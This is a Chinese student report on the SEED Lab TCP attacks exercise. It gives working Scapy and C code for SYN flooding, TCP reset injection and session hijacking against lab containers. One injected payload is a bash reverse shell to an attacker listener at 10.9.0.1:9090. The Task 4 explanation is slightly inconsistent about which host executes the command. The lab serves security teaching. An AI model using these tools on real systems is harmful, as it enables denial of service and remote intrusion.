SEEDLab-TCP攻击:Docker与Scapy实践
【实验目的】
本实验旨在让学生亲身体验TCP协议中的安全漏洞以及针对这些漏洞的攻击方法。通过实践SYN泛洪攻击、TCP复位攻击、TCP会话劫持攻击和反向Shell等技术,深入理解TCP/IP协议的脆弱性,掌握安全设计、安全编程和安全测试的基本原则,了解网络安全所面临的挑战及必要安全措施的原因。
【实验原理】
**SYN泛洪攻击。**SYN泛洪是一种DoS攻击形式。攻击者向受害者TCP端口发送大量SYN请求,但不完成三次握手。受害者收到SYN后回复SYN-ACK并为该连接分配资源(半连接),但由于源IP是伪造的,永远不会收到最终的ACK。大量半连接塞满队列后,受害者无法接受新的正常连接请求。
**SYN Cookie防御。**当SYN
Cookie机制启用时,服务器不再为每个SYN分配资源,而是将连接信息编码在SYN-ACK的序列号中。只有收到合法ACK的连接才会真正分配资源,从而有效防御SYN泛洪攻击。
**TCP复位攻击。**TCP
RST攻击通过向受害者发送带有RST标志的数据包来强制终止已建立的TCP连接。攻击者需要冒充通信的一方,构造包含正确序列号的RST数据包,使对方误认为该连接应当终止。
**TCP会话劫持。**TCP会话劫持通过注入恶意内容来劫持两个受害者之间现有的TCP连接。攻击者嗅探通信流量,获取当前的序列号和确认号,然后构造包含恶意命令的合法ACK数据包发送给服务器,使服务器执行攻击者注入的命令。
**反向Shell。**反向Shell是建立后门的典型方法。攻击者通过会话劫持在受害机器上执行反向Shell命令,使受害机器主动连接攻击者的监听端口,从而让攻击者获得一个交互式Shell,可随时执行任意命令。
Task 1: SYN泛洪攻击
(1)使用Python发起SYN泛洪攻击
编写Python脚本对目标机器(10.9.0.5)的23端口(telnet)发起SYN泛洪攻击。脚本通过Scapy构造伪造的TCP
SYN数据包,源IP地址使用随机生成的32位地址,源端口和序列号均为随机值,实现持续不断的泛洪发送。
核心代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from scapy.all import IP, TCP, send from ipaddress import IPv4Address from random import getrandbits
ip = IP(dst="10.9.0.5") tcp = TCP(dport=23, flags='S') pkt = ip/tcp
while True: pkt[IP].src = str(IPv4Address(getrandbits(32))) pkt[TCP].sport = getrandbits(16) pkt[TCP].seq = getrandbits(32) send(pkt, verbose=0)
|
让攻击运行至少一分钟后,尝试telnet到受害者机器,发现连接无法成功。由于Python程序发送数据包的速度较慢,且TCP存在重传机制(默认重传5次SYN-ACK后释放半连接),攻击速度不足以持续占满半连接队列,因此攻击失败。

(2)减小队列容量并同时运行多个攻击程序
为了提高攻击成功率,采取两项措施:减小受害者服务器的半连接队列大小,同时并行运行多个Python攻击程序以提高发送速度。
使用以下命令减小队列大小:
1
| sysctl -w net.ipv4.tcp_max_syn_backlog=80
|
同时启动多个Python攻击进程,使泛洪速度超过TCP重传释放半连接的速度。实验结果表明,当队列容量减小且多进程并行攻击时,攻击成功。

(3)使用C语言程序发起攻击
使用C语言实现的synflood程序,通过原始套接字(raw
socket)直接构造和发送IP数据包,绕过操作系统的TCP/IP协议栈,发送速度远高于Python版本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
while (1) { tcp->tcp_sport = rand(); tcp->tcp_seq = rand(); tcp->tcp_flags = TH_SYN; ip->iph_sourceip.s_addr = rand(); tcp->tcp_sum = calculate_tcp_checksum(ip); send_raw_ip_packet(ip); }
|
将队列大小恢复至原始值后运行C程序发起攻击,由于C程序发送速度极快,一次即可成功占满半连接队列,使正常telnet连接无法建立。

Python与C语言攻击效果差异的原因:Python受限于解释器运行效率和Scapy库的封装开销,每秒发送的SYN包数量有限;而C语言直接操作原始套接字,省去了协议栈处理开销,发送速率远高于Python版本,因此在相同条件下更容易成功。
(4)启用SYN Cookie防御机制
在受害者容器上启用SYN Cookie防御机制:
1
| sysctl -w net.ipv4.tcp_syncookies=1
|
再次运行C语言SYN泛洪程序进行攻击。由于SYN
Cookie机制的保护,服务器不再为每个SYN分配资源,而是将连接信息编码在SYN-ACK的序列号中,只有收到合法ACK的连接才会分配资源。因此,即使收到大量伪造的SYN包,服务器仍然能够正常接受合法的telnet连接请求,攻击无法成功。

Task 2: TCP复位攻击
(1)手动发起TCP复位攻击
首先在主机B(10.9.0.6)上通过telnet登录到主机A(10.9.0.5),建立一个telnet连接。然后在攻击者容器上使用Wireshark嗅探该TCP连接的流量,获取通信双方的IP地址、端口号以及当前的序列号等信息。
根据嗅探到的信息,使用Scapy构造RST数据包:
1 2 3 4 5 6 7
| from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5") tcp = TCP(sport=56218, dport=23, flags="R", seq=3000670992) pkt = ip/tcp send(pkt, verbose=0)
|
发送RST数据包后,目标服务器收到该数据包,误认为源端(10.9.0.6)请求终止连接,于是关闭该TCP连接,导致用户的telnet会话被强制中断。
从Wireshark中可以获取TCP连接的源IP、目的IP、源端口、目的端口以及当前序列号等关键信息,这些信息是构造RST数据包所必需的。

发送RST数据包后,连接被强制终止,用户在主机B上的telnet会话立即断开,无法继续输入命令。

(2)自动发起TCP复位攻击
编写自动化脚本,通过嗅探功能自动获取TCP连接的参数,无需手动使用Wireshark查看。脚本监听目标端口的TCP流量,当捕获到来自特定源IP的TCP数据包时,自动提取IP地址、端口号和序列号信息,构造并发送RST数据包。
核心代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from scapy.all import *
ATTACKER_MAC = get_if_hwaddr("br-ed17ce5b13b4")
def spoof_rst(pkt): if pkt.src == ATTACKER_MAC: return if pkt.haslayer(TCP) and pkt[TCP].dport == 23 and pkt[IP].src == "10.9.0.6": ip = IP(src=pkt[IP].src, dst=pkt[IP].dst) tcp_len = len(pkt[TCP].payload) target_seq = pkt[TCP].seq + tcp_len tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="R", seq=target_seq) send(ip/tcp, verbose=0) exit(0)
sniff(iface="br-ed17ce5b13b4", filter="tcp port 23", prn=spoof_rst)
|
脚本通过计算target_seq = pkt[TCP].seq + tcp_len来确定RST包的序列号,其中tcp_len为TCP载荷长度,确保RST数据包的序列号在接收方的接收窗口内,从而被接受并终止连接。

Task 3: TCP会话劫持
(1)手动发起TCP会话劫持攻击
在主机B(10.9.0.6)与主机A(10.9.0.5)之间建立telnet连接后,攻击者通过嗅探获取TCP连接的序列号、确认号等信息,然后使用Scapy构造包含恶意命令的ACK数据包注入到会话中。
1 2 3 4 5 6 7 8 9
| from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5") tcp = TCP(sport=56270, dport=23, flags="A", seq=328609748, ack=784705012) data = "\r\ntouch /tmp/hijack_success\r\n" pkt = ip/tcp/data send(pkt, verbose=0)
|
该数据包使用ACK标志(而非RST),携带恶意命令touch /tmp/hijack_success作为TCP载荷。服务器收到后会将该命令作为用户输入执行。通过验证/tmp/hijack_success文件是否被创建,可以确认攻击是否成功。

(2)自动发起TCP会话劫持攻击
编写自动化脚本,通过嗅探TCP流量自动获取序列号和确认号,无需手动使用Wireshark。脚本捕获来自特定源IP的TCP数据包后,自动提取所有必要参数,构造注入恶意命令的ACK数据包。
核心代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from scapy.all import *
ATTACKER_MAC = get_if_hwaddr("br-ed17ce5b13b4")
def spoof_hijack(pkt): if pkt.src == ATTACKER_MAC: return if pkt.haslayer(TCP) and pkt[TCP].dport == 23 and pkt[IP].src == "10.9.0.6": ip = IP(src=pkt[IP].src, dst=pkt[IP].dst) tcp_len = len(pkt[TCP].payload) target_seq = pkt[TCP].seq + tcp_len target_ack = pkt[TCP].ack tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A", seq=target_seq, ack=target_ack) command = "\r\ntouch /tmp/auto_hijack_ok\r\n" pkt_to_send = ip/tcp/command send(pkt_to_send, verbose=0) exit(0)
sniff(iface="br-ed17ce5b13b4", filter="tcp port 23", prn=spoof_hijack)
|
与手动攻击相比,自动攻击的优势在于不需要人工使用Wireshark查看数据包信息,脚本自动从嗅探到的数据包中提取所有参数,提高了攻击的效率和可重复性。

Task 4:
使用会话劫持创建反向Shell
在Task
3的基础上,将注入的命令从简单的文件创建升级为反向Shell。反向Shell使受害机器主动连接到攻击者的监听端口,从而让攻击者获得一个交互式Shell。
攻击步骤如下:
首先在攻击者机器(10.9.0.1)上启动netcat监听9090端口:nc -lnv 9090
通过TCP会话劫持在受害服务器上执行反向Shell命令
受害服务器的bash shell将主动连接到攻击者的9090端口
攻击者获得受害机器上的交互式Shell
反向Shell命令详解:
/bin/bash -i:启动交互式bash shell
> /dev/tcp/10.9.0.1/9090:将shell的stdout重定向到攻击者的TCP连接
0<&1:将stdin重定向到同一TCP连接(文件描述符0重定向到1)
2>&1:将stderr也重定向到同一TCP连接
用于劫持会话并注入反向Shell命令的脚本核心代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| from scapy.all import *
def spoof_pkt(pkt): ip = IP(src=pkt[IP].dst, dst=pkt[IP].src) tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack, ack=pkt[TCP].seq+1) data = " \r\n/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0" pkt = ip/tcp/data send(pkt, verbose=0)
f = 'tcp and src host 10.9.0.5' pkt = sniff(iface='br-ed17ce5b13b4', filter=f, prn=spoof_pkt)
|
该脚本嗅探受害服务器发出的TCP数据包,然后构造一个伪装成服务器的ACK数据包(使用服务器的IP和端口作为源地址),携带反向Shell命令作为载荷发送给客户端。由于该数据包使用了正确的序列号和确认号,服务器会接受并执行该命令。一旦反向Shell命令执行成功,受害服务器的bash
shell将主动连接到攻击者的9090端口,攻击者即可通过netcat获得远程Shell。

【思考与总结】
通过本次实验,对TCP协议的安全性有了深入的认识。
SYN泛洪攻击利用了TCP三次握手中的资源分配机制——服务器在收到SYN后即分配资源,但攻击者不完成握手导致资源被无效占用。C语言版本比Python版本攻击效果更好,根本原因在于C语言通过原始套接字绕过了操作系统协议栈的处理开销,发送速率远高于Python的Scapy封装。SYN
Cookie机制通过不预先分配资源而是将连接信息编码在序列号中,有效解决了这一问题。
TCP复位攻击和会话劫持攻击的成功都依赖于攻击者能够嗅探到通信流量并获取正确的序列号。这说明TCP协议本身缺乏对数据包真实性的验证机制——只要序列号在接收窗口内,数据包就会被接受。这也是TCP协议设计之初未充分考虑安全性所带来的后果。
反向Shell展示了TCP会话劫持的严重危害:攻击者不仅能中断连接,还能在受害机器上执行任意命令并建立持久后门。这提醒我们在实际网络环境中,仅依赖TCP协议本身的安全机制是不够的,需要配合加密(如TLS)、认证等安全措施来保护通信安全。
本次实验涵盖的攻击类型——SYN泛洪、RST攻击、会话劫持和反向Shell——都是网络安全领域的经典攻击手法。了解这些攻击的原理和实现方式,有助于在今后的安全设计和开发中避免类似漏洞,提升系统的安全性。
【附录-完整源代码】
Python SYN泛洪脚本(synflood.py)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from scapy.all import IP, TCP, send from ipaddress import IPv4Address from random import getrandbits
ip = IP(dst="10.9.0.5") tcp = TCP(dport=23, flags='S') pkt = ip/tcp
while True: pkt[IP].src = str(IPv4Address(getrandbits(32))) pkt[TCP].sport = getrandbits(16) pkt[TCP].seq = getrandbits(32) send(pkt, verbose=0)
|
C语言SYN泛洪程序(synflood.c)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <time.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <arpa/inet.h>
struct ipheader { unsigned char iph_ihl:4, iph_ver:4; unsigned char iph_tos; unsigned short int iph_len; unsigned short int iph_ident; unsigned short int iph_flag:3, iph_offset:13; unsigned char iph_ttl; unsigned char iph_protocol; unsigned short int iph_chksum; struct in_addr iph_sourceip; struct in_addr iph_destip; };
struct tcpheader { u_short tcp_sport; u_short tcp_dport; u_int tcp_seq; u_int tcp_ack; u_char tcp_offx2; u_char tcp_flags; u_short tcp_win; u_short tcp_sum; u_short tcp_urp; };
struct pseudo_tcp { unsigned saddr, daddr; unsigned char mbz; unsigned char ptcl; unsigned short tcpl; struct tcpheader tcp; char payload[1500]; };
#define PACKET_LEN 1500
unsigned short calculate_tcp_checksum(struct ipheader *ip);
void send_raw_ip_packet(struct ipheader* ip) { struct sockaddr_in dest_info; int enable = 1; int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { fprintf(stderr, "socket() failed: %s\n", strerror(errno)); exit(1); } setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable)); dest_info.sin_family = AF_INET; dest_info.sin_addr = ip->iph_destip; sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info)); close(sock); }
int main(int argc, char *argv[]) { char buffer[PACKET_LEN]; struct ipheader *ip = (struct ipheader *) buffer; struct tcpheader *tcp = (struct tcpheader *) (buffer + sizeof(struct ipheader));
if (argc < 3) { printf("Usage: synflood ip port\n"); exit(1); } char *DEST_IP = argv[1]; int DEST_PORT = atoi(argv[2]);
srand(time(0)); while (1) { memset(buffer, 0, PACKET_LEN); tcp->tcp_sport = rand(); tcp->tcp_dport = htons(DEST_PORT); tcp->tcp_seq = rand(); tcp->tcp_offx2 = 0x50; tcp->tcp_flags = TH_SYN; tcp->tcp_win = htons(20000); tcp->tcp_sum = 0;
ip->iph_ver = 4; ip->iph_ihl = 5; ip->iph_ttl = 50; ip->iph_sourceip.s_addr = rand(); ip->iph_destip.s_addr = inet_addr(DEST_IP); ip->iph_protocol = IPPROTO_TCP; ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader)); tcp->tcp_sum = calculate_tcp_checksum(ip); send_raw_ip_packet(ip); } return 0; }
unsigned short in_cksum(unsigned short *buf, int length) { unsigned short *w = buf; int nleft = length; int sum = 0; unsigned short temp=0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&temp) = *(u_char *)w; sum += temp; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); }
unsigned short calculate_tcp_checksum(struct ipheader *ip) { struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip + sizeof(struct ipheader)); int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader); struct pseudo_tcp p_tcp; memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp)); p_tcp.saddr = ip->iph_sourceip.s_addr; p_tcp.daddr = ip->iph_destip.s_addr; p_tcp.mbz = 0; p_tcp.ptcl = IPPROTO_TCP; p_tcp.tcpl = htons(tcp_len); memcpy(&p_tcp.tcp, tcp, tcp_len); return (unsigned short) in_cksum((unsigned short *)&p_tcp, tcp_len + 12); }
|
自动TCP复位攻击脚本(t2auto.py)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from scapy.all import *
ATTACKER_MAC = get_if_hwaddr("br-ed17ce5b13b4")
def spoof_rst(pkt): if pkt.src == ATTACKER_MAC: return if pkt.haslayer(TCP) and pkt[TCP].dport == 23 and pkt[IP].src == "10.9.0.6": ip = IP(src=pkt[IP].src, dst=pkt[IP].dst) tcp_len = len(pkt[TCP].payload) target_seq = pkt[TCP].seq + tcp_len tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="R", seq=target_seq) send(ip/tcp, verbose=0) exit(0)
sniff(iface="br-ed17ce5b13b4", filter="tcp port 23", prn=spoof_rst)
|
自动TCP会话劫持脚本(t3auto.py)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from scapy.all import *
ATTACKER_MAC = get_if_hwaddr("br-ed17ce5b13b4")
def spoof_hijack(pkt): if pkt.src == ATTACKER_MAC: return if pkt.haslayer(TCP) and pkt[TCP].dport == 23 and pkt[IP].src == "10.9.0.6": ip = IP(src=pkt[IP].src, dst=pkt[IP].dst) tcp_len = len(pkt[TCP].payload) target_seq = pkt[TCP].seq + tcp_len target_ack = pkt[TCP].ack tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A", seq=target_seq, ack=target_ack) command = "\r\ntouch /tmp/auto_hijack_ok\r\n" pkt_to_send = ip/tcp/command send(pkt_to_send, verbose=0) exit(0)
sniff(iface="br-ed17ce5b13b4", filter="tcp port 23", prn=spoof_hijack)
|
反向Shell攻击脚本(t4.py)
1 2 3 4 5 6 7 8 9 10 11 12 13
| from scapy.all import *
def spoof_pkt(pkt): ip = IP(src=pkt[IP].dst, dst=pkt[IP].src) tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack, ack=pkt[TCP].seq+1) data = " \r\n/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0" pkt = ip/tcp/data send(pkt, verbose=0)
f = 'tcp and src host 10.9.0.5' pkt = sniff(iface='br-ed17ce5b13b4', filter=f, prn=spoof_pkt)
|